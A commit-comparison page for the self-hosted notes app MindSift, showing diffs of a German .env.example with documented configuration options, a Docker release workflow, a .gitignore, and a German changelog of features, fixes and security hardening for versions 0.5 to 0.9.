Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
22c52adc10 | ||
|
|
1b0c8ba18f | ||
|
|
5ff99c5434 | ||
|
|
8ecde4872d | ||
|
|
07d86a0e2f | ||
|
|
a317ce0fee | ||
|
|
1d6863824b | ||
|
|
108ac6621c | ||
|
|
e15b028171 | ||
|
|
6952ae15e3 | ||
|
|
e8c7c55dd5 | ||
|
|
57de85d530 | ||
|
|
d86623f2c9 | ||
|
|
e83c1ae7dd | ||
|
|
6ae4fbc2bf | ||
|
|
4a3ee2c570 | ||
|
|
f5f21e1c9c | ||
|
|
f2df3f8d86 | ||
|
|
b5e89d6bd7 | ||
|
|
ad6a8ead61 | ||
|
|
b9df907ead | ||
|
|
e6ea8155e4 | ||
|
|
e778e6d6dc | ||
|
|
6100d339f1 | ||
|
|
4f5da9507f | ||
|
|
6b3c32a370 | ||
|
|
a69bcbaf10 | ||
|
|
5f27e7ca9c | ||
|
|
fc7b2b3a2c | ||
|
|
d2afcf49df | ||
|
|
6795edbf4b | ||
|
|
446f8e4649 | ||
|
|
362dd3b4c6 | ||
|
|
ad614f1169 | ||
|
|
02ce554c02 | ||
|
|
4d1b37c956 | ||
|
|
4c26eb2960 | ||
|
|
83408d120d | ||
|
|
56c1fa02e6 | ||
|
|
1632dd22c4 | ||
|
|
1f63e08a73 | ||
|
|
3f2bc96732 | ||
|
|
3f5e3b2ac1 | ||
|
|
e8fa14a4cb | ||
|
|
177fa49363 | ||
|
|
e385a44fb9 | ||
|
|
d396d42acf | ||
|
|
d52992afd2 | ||
|
|
cc68d3f334 | ||
|
|
b624093980 | ||
|
|
9124809f54 | ||
|
|
a9d0e49159 | ||
|
|
7fa21e485b | ||
|
|
ff53f06991 | ||
|
|
7801cd13b9 | ||
|
|
9f3c78dde0 | ||
|
|
230fb3c5aa | ||
|
|
6a5e82431f | ||
|
|
fbc404fea1 | ||
|
|
c3b11318f4 | ||
|
|
b55334b163 | ||
|
|
090d11d4c3 | ||
|
|
ef16778ef5 | ||
|
|
9d9698186c | ||
|
|
3709282a4f | ||
|
|
1af3a6e90a | ||
|
|
b2ecda9896 | ||
|
|
3ca4ff7bce | ||
|
|
3a27a37acb | ||
|
|
ff27d07aa3 | ||
|
|
1d5bb55049 | ||
|
|
6cbfedd013 |
No files matched your search
+119
-15
@@ -1,27 +1,131 @@
|
||||
# MindSift Environment Configuration
|
||||
PORT=8080
|
||||
DATA_DIR=/data
|
||||
DATABASE_URL=sqlite:///data/mindsift.db
|
||||
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
|
||||
BASE_URL=http://localhost:8080
|
||||
ALLOW_REGISTRATION=false
|
||||
# Logging level: debug, info, warn, error (Default: info)
|
||||
LOG_LEVEL=info
|
||||
# LOG_LEVEL=debug
|
||||
# DEBUG=true
|
||||
# MindSift – Einstellungen
|
||||
# Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
|
||||
# Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
|
||||
|
||||
# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI)
|
||||
# ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
|
||||
PORT=8080
|
||||
|
||||
# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
|
||||
# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab.
|
||||
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
|
||||
|
||||
# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
|
||||
# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
|
||||
BASE_URL=http://localhost:8080
|
||||
|
||||
# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
|
||||
TZ=Europe/Berlin
|
||||
|
||||
# true = jeder darf sich ein Konto anlegen; false = nur mit Einladungscode vom Admin.
|
||||
# Lässt sich später in Administration → Server & Isolation ändern.
|
||||
ALLOW_REGISTRATION=false
|
||||
|
||||
# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
|
||||
# Login-Sperre hinter einem Reverse-Proxy.
|
||||
# private Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
|
||||
# none keinem Proxy glauben (MindSift direkt im Internet)
|
||||
# all jedem glauben (schaltet die Prüfung ab)
|
||||
# Liste zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
|
||||
TRUSTED_PROXIES=private
|
||||
|
||||
# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
|
||||
# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
|
||||
LOGIN_PROTECTION=true
|
||||
|
||||
# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
|
||||
LOG_LEVEL=info
|
||||
# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
|
||||
DEBUG=false
|
||||
|
||||
# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
|
||||
# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
|
||||
MINDA_DEMO=false
|
||||
# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
|
||||
DEMO_RESET_MINUTES=20
|
||||
|
||||
# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
|
||||
# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
|
||||
# Werte dort haben Vorrang.
|
||||
|
||||
# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
|
||||
SMTP_HOST=
|
||||
# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
|
||||
SMTP_PORT=587
|
||||
# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
|
||||
SMTP_USER=
|
||||
SMTP_PASS=
|
||||
SMTP_FROM=noreply@mindsift.local
|
||||
# Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
|
||||
SMTP_FROM=
|
||||
# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
|
||||
# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
|
||||
SMTP_FROM_NAME=MindSift
|
||||
# Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele
|
||||
# Minuten als eine Nachricht verschickt. Fällige Aufgaben kommen immer sofort.
|
||||
NOTIFY_DIGEST_MINUTES=5
|
||||
# true = nur verschlüsselt senden.
|
||||
SMTP_TLS=true
|
||||
# Only for internal mail servers with self-signed certificates
|
||||
# true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
|
||||
SMTP_SKIP_VERIFY=false
|
||||
|
||||
# Optional legal notices: external link and/or Markdown (inline or as file path)
|
||||
# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
|
||||
# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
|
||||
# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
|
||||
# Ohne Angaben bleiben die Links unsichtbar.
|
||||
LEGAL_IMPRINT_URL=
|
||||
LEGAL_PRIVACY_URL=
|
||||
LEGAL_IMPRINT_CONTENT=
|
||||
LEGAL_PRIVACY_CONTENT=
|
||||
# Pfad im Container, z. B. /legal/impressum.md
|
||||
LEGAL_IMPRINT_CONTENT_FILE=
|
||||
LEGAL_PRIVACY_CONTENT_FILE=
|
||||
|
||||
# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
|
||||
# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
|
||||
# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
|
||||
|
||||
# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
|
||||
MEDIA_MAX_IMAGE_MB=15
|
||||
# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
|
||||
MEDIA_MAX_AUDIO_MB=50
|
||||
# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
|
||||
MEDIA_QUOTA_MB=0
|
||||
# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
|
||||
MEDIA_DEMO_MAX_MB=3
|
||||
|
||||
# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
|
||||
# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
|
||||
# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
|
||||
# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
|
||||
# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
|
||||
|
||||
# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
|
||||
STT_URL=
|
||||
# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
|
||||
# Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
|
||||
STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
|
||||
# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
|
||||
STT_LANGUAGE=de
|
||||
# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
|
||||
STT_API_KEY=
|
||||
# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
|
||||
STT_DISABLED=false
|
||||
|
||||
# Schutzwerte für den Server-Modus
|
||||
# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
|
||||
STT_MAX_SECONDS=600
|
||||
# Größte Aufnahme in MB.
|
||||
STT_MAX_UPLOAD_MB=25
|
||||
# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
|
||||
STT_MAX_PARALLEL=1
|
||||
# Erkennungen pro Person und Stunde.
|
||||
STT_PER_USER_PER_HOUR=60
|
||||
# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
|
||||
STT_TIMEOUT_SECONDS=120
|
||||
@@ -4,6 +4,7 @@ name: MindSift CI & Docker Release
|
||||
# push to dev -> :dev
|
||||
# push/merge main -> :latest
|
||||
# git tag v1.2.0 -> :v1.2.0 and :stable
|
||||
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
@@ -39,6 +40,7 @@ jobs:
|
||||
|
||||
# All tags of this run (space separated)
|
||||
case "${GITHUB_REF:-}" in
|
||||
refs/tags/*-*) TAGS="${DOCKER_TAG}" ;;
|
||||
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
|
||||
refs/heads/main) TAGS="latest" ;;
|
||||
*) TAGS="${DOCKER_TAG}" ;;
|
||||
|
||||
@@ -18,3 +18,6 @@ dev-data/
|
||||
.idea/
|
||||
.vscode/
|
||||
e2e/node_modules/
|
||||
|
||||
# Whisper models (docker compose service "whisper")
|
||||
whisper/
|
||||
+239
@@ -0,0 +1,239 @@
|
||||
# Changelog
|
||||
|
||||
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
|
||||
|
||||
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.9.0] - 2026-10-30
|
||||
|
||||
### Added
|
||||
- Formatierungs-Kürzel im Outliner: `Strg+B` / `Cmd+B` für fett, `Strg+I` / `Cmd+I` für kursiv (mit Ein-/Ausschalten bei markiertem Text) und `Strg+K` / `Cmd+K` für Links (mit Markierung `[Text](…)` mit vorselektierter Adresse, ohne Markierung Link-Dialog).
|
||||
- Code-Blöcke: Zeilennummernspalte links mit synchronem Scrollen (wächst dynamisch bei 100+ Zeilen, zählt auch leere Endzeilen mit); horizontaler Bildlauf bei langen Zeilen ohne automatischen Zeilenumbruch (`white-space: pre`).
|
||||
|
||||
### Fixed
|
||||
- Formatierungs-Kürzel wirken nicht in schreibgeschützten Notizen.
|
||||
- Light-Theme: Kontraste für Code-Blöcke (`--bg-code`), Callouts (`--bg-panel-elevated`), Zitate und Rahmen auf Notizhintergründen geschärft; VS Code Light+ Syntaxfarben für hohe Lesbarkeit optimiert.
|
||||
|
||||
## [0.8.0] - 2026-10-30
|
||||
|
||||
### Added
|
||||
- Benachrichtigungen pro Ereignis und Kanal (Kontoeinstellungen → Alarme): fällige Aufgaben (sofort), Freigabe erhalten, geteilte Aufgabe erledigt, beobachtete Aufgaben – jeweils per eigener E-Mail und/oder eigenem Discord-Webhook. Alles außer fälligen Aufgaben kommt gebündelt (höchstens alle 5 Minuten eine Nachricht, `NOTIFY_DIGEST_MINUTES`), E-Mails jetzt mit HTML-Layout. Eigene Änderungen lösen nichts aus (bei beobachteten Aufgaben zuschaltbar), ein Schalter pausiert alles.
|
||||
- Aufgaben beobachten: Knopf im Aufgaben-Detail; jede Änderung daran wird gemeldet. API: `POST/DELETE /tasks/{id}/watch`.
|
||||
- Tageszusammenfassung zur selbst gewählten Uhrzeit: überfällige, heutige und morgige Aufgaben mit Uhrzeit, dazu die Anzahl der nächsten 7 Tage; ohne fällige Aufgaben keine Nachricht.
|
||||
|
||||
### Changed
|
||||
- Notizkopf aufgeräumt: Live-Status, Freigabe-Pille und Online-Avatare stehen oben in der Tab-Leiste neben „Gespeichert“; im Notizkopf gibt es Knöpfe für Rückgängig (`Strg+Z`) und Wiederholen (`Strg+Y`), „Teilen“ direkt sichtbar und ein Drei-Punkte-Menü für Anheften, Zusammenführen, Markdown-Export und Löschen.
|
||||
- `/diktat` in Notizen: schreibt live mit (mehrzeiliger Text über den Wellen mit Zeitanzeige `mm:ss`), bricht im Browser-Modus bei Sprechpausen nicht mehr ab und schickt im Server-Modus alle ~8 Sekunden bzw. nach kurzen Sprechpausen Abschnitte zur Erkennung vorab.
|
||||
|
||||
### Fixed
|
||||
- In eigene Notiz umwandeln: Der Link erscheint sofort im Punkt (auch hinter Proxys ohne Live-Verbindung), ohne Konfliktkopien bei gleichzeitigem Weitertippen; die neue Notiz steht sofort in der Seitenleiste. Strg+Z oder „Rückgängig“ im Hinweis holen den Ast zurück und legen die neue Notiz in den Papierkorb.
|
||||
- Notizen: Link-Vorschau-Karten erscheinen nur noch, wenn der gesamte Punkt aus einer einzigen `https`-Adresse besteht (oder über `/link` in einem leeren Punkt eingefügt wurde), nicht mehr bei Links mitten im Fließtext.
|
||||
- Notizen: Das Slash-Menü (`/`) öffnet sich nur noch am Textanfang oder nach einem Leerzeichen (nicht mehr beim Einfügen von Web-Adressen mit Schrägstrichen), schließt zuverlässig mit `Esc` oder `Backspace` und scrollt bei Pfeiltasten-Navigation automatisch mit.
|
||||
- Notizen: `Enter` in einem leeren Punkt auf oberster Ebene legt auch am Ende der Notiz einen neuen Punkt darunter an.
|
||||
- Benachrichtigungen: Die Tageszusammenfassung schließt nun auch Aufgaben aus Aufgabenlisten ein, die über eine Gruppe freigegeben wurden.
|
||||
|
||||
## [0.7.0] - 2026-10-30
|
||||
|
||||
### Added
|
||||
- Punkt in eigene Notiz umwandeln: Knopf am Punkt (Desktop) oder `/extract` bzw. `/notiz`. Der Punkt wird Titel, seine Unterpunkte der Inhalt der neuen Notiz im selben Ordner; an seiner Stelle bleibt ein `[[Link]]` (Hashtags bleiben dort). In geteilten Notizen übernimmt die neue Notiz die Freigaben.
|
||||
- Notizen zusammenführen: in der Seitenleiste eine Notiz auf eine andere ziehen oder im Kopf der Notiz „Mit anderer Notiz zusammenführen…“. Die Quelle wird als Abschnitt (Überschrift mit Unterpunkten) angehängt und wandert in den Papierkorb; „Rückgängig“ im Hinweis macht beides rückgängig.
|
||||
- Eigene Spracherkennung (optional): Mit `STT_URL` schickt MindSift Aufnahmen an einen selbst betriebenen Whisper-Server (OpenAI-kompatibel, z. B. speaches) statt an Google oder Microsoft. Einstellung nur per Umgebungsvariablen (`STT_*`) inklusive Grenzwerten; `docker-compose.yml` enthält den Dienst `whisper` als auskommentierten Block zum Einschalten, das Modell lädt MindSift beim ersten Start selbst. Administration → Server & Isolation zeigt den aktiven Modus und bietet eine Testaufnahme. In der Demo bleibt es bei der Browser-Erkennung.
|
||||
- API: `POST /voice/transcribe`, `GET /admin/voice`; `/auth/status` meldet `voice.mode`.
|
||||
- Bilder in Notizen: `/image` (auch `/bild`) in einem leeren Punkt öffnet direkt im Punkt eine Auswahl – Datei, Kamera (Handy), Hineinziehen, Einfügen mit Strg+V oder Bild-Link (der Server übernimmt eine Kopie). Fotos werden vor dem Hochladen auf höchstens 2048 px verkleinert und als WebP gespeichert, Standortdaten entfallen dabei. Klick vergrößert, darunter eine optionale Beschriftung. Esc oder ✕ macht den Punkt wieder zum leeren Punkt.
|
||||
- Sprachnotizen in Notizen: `/audio` in einem leeren Punkt zeigt eine Aufnahme-Blase – grüner Knopf startet, er wird rot und links laufen Live-Wellen mit der Zeit, ein Tipp speichert die Aufnahme als Audio-Player im Punkt. Alternativ eine Audiodatei hochladen. Mit eigener Spracherkennung macht „Transkribieren“ aus der Aufnahme die (durchsuchbare) Beschriftung.
|
||||
- Diktat in Notizen: `/diktat` in einem leeren Punkt hört sofort zu; der Punkt wird zu einer Fläche mit Live-Wellen und „Stopp“, ein Tipp setzt den erkannten Text in den Punkt. Nutzt die eingestellte Spracherkennung (eigener Server oder Browser) und wird ohne Spracherkennung nicht angeboten.
|
||||
- Backup und Export mit Medien: Das Backup-ZIP (auch die automatischen Server-Backups pro Konto) enthält die Bilder und Sprachnotizen der eigenen Notizen, das Markdown-Archiv legt sie unter `attachments/` ab und bettet sie Obsidian-kompatibel ein. Beim Zurückspielen kommen sie wieder als Bild- und Audioblöcke. Der Obsidian-Import übernimmt jetzt auch eingebettete Bilder und Audiodateien (`![[bild.png]]`, ``).
|
||||
- Link-Vorschau in Notizen: Über einem Punkt mit einer Web-Adresse (https) erscheint eine kompakte Karte mit Icon, Seitenname, Titel, einer Zeile Beschreibung und kleinem Bild. Der MindSift-Server ruft die Seite ab (wie bei Bildern nur öffentliche https-Adressen) und speichert die Vorschau 7 Tage; Browser der Leser kontaktieren die Seite nicht. ✕ blendet die Vorschau für diesen Link aus (er wird zu `[Titel](Adresse)`), Darstellung → „Link-Vorschauen anzeigen“ schaltet alle ab. In der Demo aus. API: `GET /link-preview?url=`.
|
||||
- Medienablage für Notizen (Grundlage für Bilder und Audio): Hochladen, Kopieren externer Bilder, Abruf nur mit Leserecht; Grenzen per `MEDIA_*`; nicht mehr verwendete Dateien werden automatisch entfernt. API: `POST /documents/{id}/media`, `POST /documents/{id}/media/fetch`, `GET /media/{id}`.
|
||||
- Code-Blöcke in Notizen: Sprachauswahl (rund 50 Sprachen, bei Bedarf nachgeladen), Farben beim Tippen im Stil von VS Code Dark+/Light+ für alle Themes, „Kopieren“, Tab/Shift+Tab rückt ein und aus. `/code yaml` oder ```` ```yaml ```` legt die Sprache direkt fest.
|
||||
|
||||
### Changed
|
||||
- **Hinweis für den Betrieb:** Bilder und Sprachnotizen liegen in `data/media/`, nicht in der Datenbank. Wer den Server sichert, sichert den ganzen Ordner `data/` (der Datenbank-Abzug der Admin-Backups enthält keine Mediendateien). Optional neu in `docker-compose.yml`: der auskommentierte Dienst `whisper`.
|
||||
- Notizen auf dem Handy: fast kein Seitenrand mehr, Einrückung 14 statt 22 px pro Ebene, Zoom- und Löschknopf belegen nur noch in der aktiven Zeile Platz. Sehr tief verschachtelte Punkte behalten eine lesbare Breite, die Notiz lässt sich dann seitlich verschieben statt den Text zu quetschen.
|
||||
- E-Mails zeigen einen Absendernamen: `SMTP_FROM_NAME` bzw. das neue Feld „Absender-Name“ in Administration → E-Mail (Standard „MindSift“), wenn die Absenderadresse keinen eigenen Namen enthält.
|
||||
- Slash-Befehle einheitlich englisch: `/image` statt `/bild` (`/bild` findet ihn weiterhin), kürzere Beschreibungen, breiteres Menü ohne Umbrüche.
|
||||
- `docker-compose.yml` enthält nur noch die Zuordnungen; alle Erklärungen zu den Variablen stehen in `.env.example`. Neu durchgereicht werden `TZ`, `TRUSTED_PROXIES`, `LOGIN_PROTECTION`, `DEMO_RESET_MINUTES` und `LEGAL_*_CONTENT`, die vorher in `.env` gesetzt wirkungslos blieben.
|
||||
- Workspace-Seitenleiste wie ein Datei-Explorer: angeheftete Notizen oben, darunter Ordner und Notizen ohne Zwischenüberschriften.
|
||||
- Spracheingabe in Quick Dump, im mobilen Erfassen-Sheet und beim Halten des +-Knopfs folgt der Server-Einstellung: mit eigenem Whisper-Server funktioniert sie in allen Browsern (auch Firefox), mit Live-Wellen während der Aufnahme und „Wird erkannt…“ danach. Ohne Unterstützung im Browser oder mit `STT_DISABLED=true` ist das Mikrofon ausgeblendet statt einer Fehlermeldung.
|
||||
|
||||
## [0.6.1] - 2026-10-29
|
||||
|
||||
### Fixed
|
||||
- Notizen: Wer im Rhythmus tippte (kurze Pausen zwischen den Wörtern), bekam Konfliktkopien gegen sich selbst, auch in nicht geteilten Notizen. Mehrere ungesendete Änderungen an einem Punkt zählten lokal als mehrere Versionen, beim Server aber als eine.
|
||||
|
||||
## [0.6.0] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
|
||||
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
|
||||
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
|
||||
|
||||
### Changed
|
||||
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
|
||||
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
|
||||
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
|
||||
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
|
||||
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
||||
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
||||
|
||||
### Fixed
|
||||
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
|
||||
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
|
||||
|
||||
### Security
|
||||
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
|
||||
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
|
||||
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
|
||||
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
|
||||
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
|
||||
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
|
||||
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
|
||||
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
|
||||
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
|
||||
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
|
||||
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
|
||||
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
|
||||
|
||||
## [0.5.2] - 2026-10-29
|
||||
|
||||
### Fixed
|
||||
- Einkaufsliste auf dem Smartphone (iOS): Der `+`-Knopf und der Menüeintrag setzen den Fokus für neue Einträge direkt in der Tipp-Geste statt verzögert nach 60 ms, sodass sich die Bildschirmtastatur auf iOS zuverlässig öffnet; Eingabefelder nutzen mobil 16 px Schriftgröße gegen automatisches Heranzoomen.
|
||||
|
||||
## [0.5.1] - 2026-10-29
|
||||
|
||||
### Fixed
|
||||
- Mobiler `+`-Knopf in Triage und Aufgaben: Ein kurzes Antippen öffnet das Erfassen-Sheet wieder über das `click`-Event statt bei `pointerup`, damit der direkt folgende Browser-Klick nicht auf dem Hintergrund-Overlay landet und das Sheet sofort wieder schließt (nach langem Halten für die Sprachaufnahme wird der nachfolgende Klick ignoriert).
|
||||
|
||||
## [0.5] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Automatische tägliche Server- und Benutzer-Backups (`$DATA_DIR/backups`): konsistenter SQLite-Gesamtabzug (`VACUUM INTO`, `.db.gz`) sowie ein MindSift-Backup-ZIP pro aktivem Konto; einstellbare Uhrzeit und Aufbewahrungsdauer (Standard 03:00 Uhr, 3 Tage) unter Administration → Datensicherung inkl. „Jetzt sichern“.
|
||||
- Kontoeinstellungen → Server-Backups: Eigene Sicherungen herunterladen oder gezielt nach Bereichen (`notes`, `tasks`, `lists`, `inbox`, `themes`) wiederherstellen (ersetzen oder hinzufügen); auch der manuelle MindSift-Import unterstützt die Bereichsauswahl und nimmt eigene Themes mit.
|
||||
- Mobil: Gedrückthalten des `+`-Knopfs startet eine Sprachaufnahme und legt das Transkript beim Loslassen direkt im Quick Dump ab (nach oben ziehen bricht ab); kurzes Tippen bzw. Tastatur/Screenreader öffnen weiterhin das Erfassen-Sheet.
|
||||
- API-Key-Scopes (`webhook:triage`, `webhook:task`, `webhook:list`): Auswahl beim Anlegen, Anzeige als Badges und Webhook-Simulator für alle drei Ziele in den Kontoeinstellungen (FLAW-07).
|
||||
- Demo-Modus: Automatischer Reset alle 20 Minuten (`DEMO_RESET_MINUTES`, `0` = aus) mit Live-Countdown (`✨ Demo · Reset in MM:SS`) in der Kopfzeile; Sitzungen bleiben über feste Demo-Konto-IDs erhalten. Tief verschachtelte Beispielnotiz „Hausrenovierung 2027“ (7 Ebenen) zum Ausprobieren des Zoom-Fokus.
|
||||
- Zähler für offene Listeneinträge am Reiter „Listen“; die Suche in der Notiz-Seitenleiste öffnet die globale Volltextsuche (`⌘K`).
|
||||
|
||||
### Changed
|
||||
- **Achtung:** WebSocket (`/ws`) und SSE (`/events`) akzeptieren kein `?token=` mehr in der URL, sondern kurzlebige Einmal-Tickets (`POST /auth/stream-ticket`, 60 s gültig) oder den `Authorization`-Header (FLAW-22).
|
||||
- **Achtung:** Neue Passwörter müssen mindestens 8 Zeichen lang sein (Setup, Registrierung, Profil, Admin, Passwort-Reset) (FLAW-09).
|
||||
- Nummerierte Datenbank-Migrationen über `schema_migrations`, die genau einmal laufen und bei Fehlern den Start abbrechen statt Fehler zu verschlucken (FLAW-13).
|
||||
- Echtes ESLint (`eslint.config.js`) im Frontend- und Image-Build sowie erweiterte Frontend-Tests (FLAW-19); vereinheitlichte Zugriffsabfrage für Aufgabenlisten (FLAW-20).
|
||||
|
||||
### Fixed
|
||||
- SQLite-Transaktionen starten mit `BEGIN IMMEDIATE` (`_txlock=immediate`), sodass parallele Schreiber auf das Lock warten statt mit `SQLITE_BUSY` zu scheitern (FLAW-23).
|
||||
